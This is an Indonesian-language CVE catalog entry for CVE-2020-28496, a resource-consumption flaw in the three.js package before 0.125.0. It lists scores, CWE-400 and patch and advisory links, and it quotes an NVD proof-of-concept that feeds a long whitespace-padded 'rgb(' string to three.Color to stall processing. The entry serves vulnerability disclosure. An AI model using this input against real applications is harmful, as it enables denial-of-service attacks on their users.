CVE-2020-28496

Katalog CVE

CVSS 7.5 · High EPSS 2,5%

Kerentanan Uncontrolled Resource Consumption pada three project three. Skor CVSS 3.1 7.5 (High) menurut NVD.

Deskripsi (NVD)

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")

Rincian

Terbit di NVD

18 Februari 2021

Terakhir diubah

17 Juni 2026

Status NVD

Modified

CVSS 3.1

7.5 (High), sumber NVD
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H · uraikan di kalkulator

Jenis kelemahan (CWE)

CWE-400: Uncontrolled Resource Consumption

EPSS (30 hari)

2,5% peluang dieksploitasi; lebih tinggi dari 84,4% CVE lain

Produk dan versi terdampak

> Data dari konfigurasi CPE di NVD.

Referensi dan perbaikan

• https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e patch · advisory pihak ketiga
• https://github.com/mrdoob/three.js/issues/21132 exploit · issue tracking · advisory pihak ketiga
• https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972 exploit · advisory pihak ketiga
• https://snyk.io/vuln/SNYK-JS-THREE-1064931 exploit · advisory pihak ketiga